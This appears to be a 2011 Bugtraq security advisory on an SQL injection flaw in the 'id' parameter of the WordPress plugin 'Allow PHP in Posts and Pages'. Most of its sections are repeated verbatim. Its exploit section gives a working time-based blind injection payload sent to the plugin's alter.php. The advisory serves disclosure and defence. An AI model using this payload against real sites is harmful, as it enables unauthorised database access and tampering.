WordPress Allow PHP in Posts and Pages Plugin 'id' Parameter SQL Injection Vulnerability
BID:49234
Info
WordPress Allow PHP in Posts and Pages Plugin 'id' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 49234 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 18 2011 12:00AM |
| Updated: | Aug 18 2011 12:00AM |
| Credit: | Miroslav Stampar |
| Vulnerable: |
WordPress Allow PHP in Posts and Pages 2.0.0.RC1 |
| Not Vulnerable: | |
Discussion
WordPress Allow PHP in Posts and Pages Plugin 'id' Parameter SQL Injection Vulnerability
The Allow PHP in Posts and Pages plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Allow PHP in Posts and Pages 2.0.0.RC1 is vulnerable; other versions may also be affected.
The Allow PHP in Posts and Pages plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Allow PHP in Posts and Pages 2.0.0.RC1 is vulnerable; other versions may also be affected.
Exploit / POC
WordPress Allow PHP in Posts and Pages Plugin 'id' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/wp-content/plugins/allow-php-in-posts-and-pages/alter.php
allowPHPNonce=-1&action=modify&function=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/wp-content/plugins/allow-php-in-posts-and-pages/alter.php
allowPHPNonce=-1&action=modify&function=-1&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
Solution / Fix
WordPress Allow PHP in Posts and Pages Plugin 'id' Parameter SQL Injection Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].
References
WordPress Allow PHP in Posts and Pages Plugin 'id' Parameter SQL Injection Vulnerability
References:
References:
- Allow PHP in Posts and Pages Homepage (WordPress)
- WordPress Homepage (WordPress)